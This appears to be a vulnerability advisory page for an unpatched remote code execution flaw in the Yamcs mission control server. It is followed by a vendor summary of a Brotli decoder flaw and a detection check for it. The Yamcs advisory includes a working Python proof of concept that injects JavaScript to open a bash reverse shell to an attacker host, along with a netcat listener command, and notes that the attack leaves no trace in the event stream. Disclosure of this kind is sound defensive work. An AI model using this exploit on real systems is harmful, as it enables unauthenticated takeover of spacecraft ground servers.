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CVE-2026-46562

ExploitedNVDCIRCLENISA

EUVD-2026-44958 · Published May 27, 2026

Yamcs Vulnerable to Remote Code Execution via Mission Database algorithm override

Remote Code Execution via Mission Database algorithm override

Summary

The Nashorn ScriptEngine used to evaluate user-supplied algorithm text in MdbOverrideApi.updateAlgorithm is constructed without a ClassFilter, allowing a user with the ChangeMissionDatabase privilege to execute arbitrary Java code on the Yamcs server. In Yamcs's default configuration (no security.yaml), the built-in guest user has superuser=true, so the vulnerability is reachable without authentication.

Details

Vulnerable file: yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java

// L46-53  Nashorn engine obtained without a ClassFilter
ScriptEngineFactory factory = scriptEngineManager.getEngineFactories().stream()
        .filter(candidate -> !JDK_BUILTIN_NASHORN_ENGINE_NAME.equals(candidate.getEngineName())
                && candidate.getNames().contains(language))
        .findFirst().orElse(null);
if (factory != null) {
    scriptEngine = factory.getScriptEngine();          // ← ClassFilter not supplied
}

// L109  user-supplied algorithm text reaches eval()
scriptEngine.eval(functionScript);

NashornScriptEngineFactory.getScriptEngine() accepts an optional ClassFilter that restricts which classes JavaScript can reach via Java.type(...). Yamcs passes no filter, so attacker-supplied JavaScript can reach any Java class — for example, Java.type("java.lang.Runtime").getRuntime().exec(...) runs arbitrary OS commands inside the Yamcs JVM.

The path from HTTP request to eval is:
MdbOverrideApi.updateAlgorithm (yamcs-core/src/main/java/org/yamcs/http/api/MdbOverrideApi.java:145-189)
→ AlgorithmManager.overrideAlgorithm (yamcs-core/src/main/java/org/yamcs/algorithms/AlgorithmManager.java:529-559)
→ ScriptAlgorithmExecutorFactory.makeExecutor (yamcs-core/src/main/java/org/yamcs/algorithms/ScriptAlgorithmExecutorFactory.java:102-117)
→ scriptEngine.eval(...).

PoC

Run against any reachable Yamcs deployment that has at least one JavaScript CustomAlgorithm in its MDB (the simulator example MDB includes several, such as /YSS/SIMULATOR/Battery_Voltage_Avg).

Attacker-side listener:

nc -lvnp 4444
#!/usr/bin/env python3
"""
Usage: python3 <poc>.py http://target:8090 LHOST LPORT
"""
import json, sys, time, urllib.request

TARGET    = sys.argv[1].rstrip("/")
LHOST     = sys.argv[2]
LPORT     = int(sys.argv[3])
INSTANCE  = "simulator"
PROCESSOR = "realtime"
ALGORITHM = "YSS/SIMULATOR/Battery_Voltage_Avg"

# Close the generated wrapper function with `}`, execute the payload at
# top level, then re-open a dummy function so the trailing `}` emitted
# by ScriptAlgorithmExecutorFactory parses. No throw -> no event fired.
payload = (
    '} '
    'Java.type("java.lang.Runtime").getRuntime().exec('
    f'["bash","-c","exec 3<>/dev/tcp/{LHOST}/{LPORT}; id >&3; sh -i <&3 >&3 2>&3"]); '
    'function _x(){'
)

patch = f"{TARGET}/api/mdb-overrides/{INSTANCE}/{PROCESSOR}/algorithms/{ALGORITHM}"

def http(method, url, body=None):
    req = urllib.request.Request(url, data=json.dumps(body).encode() if body else None,
                                  method=method, headers={"Content-Type": "application/json"})
    return urllib.request.urlopen(req, timeout=10).read()

http("PATCH", patch, {"action": "SET", "algorithm": {"text": payload}})
time.sleep(2)
http("PATCH", patch, {"action": "RESET"})

<img width="1841" height="881" alt="nashorn-rce-poc" src="https://github.com/user-attachments/assets/48432eea-67b5-4f3b-af97-c77325b0d671" /><br>

The override path emits events only when evaluation fails: a WARNING from ScriptAlgorithmExecutorFactory.java:112 and a CRITICAL from AlgorithmManager.java:546. Any syntactically valid payload — like the one above — succeeds silently and no event is fired, so the attack leaves no trace in the Yamcs event stream.

Impact

Arbitrary code runs as the OS user running the Yamcs server, leading to compromise of that server and disruption of the mission it controls.

For a Yamcs deployment managing spacecraft operations, an attacker can:

  • forge or block telecommands, suppress alarms, and tamper with the telemetry archive — disrupting or seizing control of the mission;
  • read any file the Yamcs process can read (cryptographic keys, credentials, MDB source files, configuration);
  • pivot to other ground-station systems reachable from the server (TSE instruments, neighboring Yamcs instances, internal services);
  • install a persistent backdoor via the same primitive.

Who is impacted:

  • All Yamcs deployments running in the default configuration (no security.yaml present): any unauthenticated network attacker that can reach the HTTP API port (default 8090).
  • Yamcs deployments with security enabled: any user that has been granted the ChangeMissionDatabase system privilege. This privilege is commonly given to MDB engineers and operators who edit calibrators or thresholds; the vulnerability turns that privilege into arbitrary code execution on the server.

Affected Versions

All Yamcs releases that ship the algorithm override endpoint are affected — no ClassFilter has ever been applied to the script engine.

  • First vulnerable release: yamcs-4.7.3 (2018-11-22). Introduced in commit 951e505d18a3912813b59edc685cbcbd4c609906 ("added possibility to change in a running processor alarms, calibrations and algorithms texts"). The commit added the ChangeAlgorithmRequest RPC (later renamed UpdateAlgorithmRequest) and routed it as PATCH /api/mdb/{instance}/{processor}/algorithms/{name*}.
  • Routing change at yamcs-5.5.0 (2021-04): the endpoint was split out of MdbApi into MdbOverrideApi and moved to PATCH /api/mdb-overrides/{instance}/{processor}/algorithms/{name*}. The underlying scriptEngine.eval(...) sink and the missing ClassFilter are identical.
  • Latest release: yamcs-5.12.6 (commit f1a26fe54587fab9960d7e53fc1bf0c879220e9e) is affected. These four files (MdbOverrideApi.java, AlgorithmManager.java, ScriptAlgorithmExecutorFactory.java, SecurityStore.java) are unchanged between 5.12.6 and current master (96d3e2d474415bea859f40ecbddc1bb8a0d141c1) — no upstream fix exists.

In short: every Yamcs release from 4.7.3 through 5.12.6, plus current master, is vulnerable (133 release tags spanning 2018-11-22 to present).

Technologies

Spaceapplications Yamcs

Weaknesses

CWE-95CWE-94CWE-470

CVSS scores

  • v3.19.8CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

Initial Access Stealth

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.

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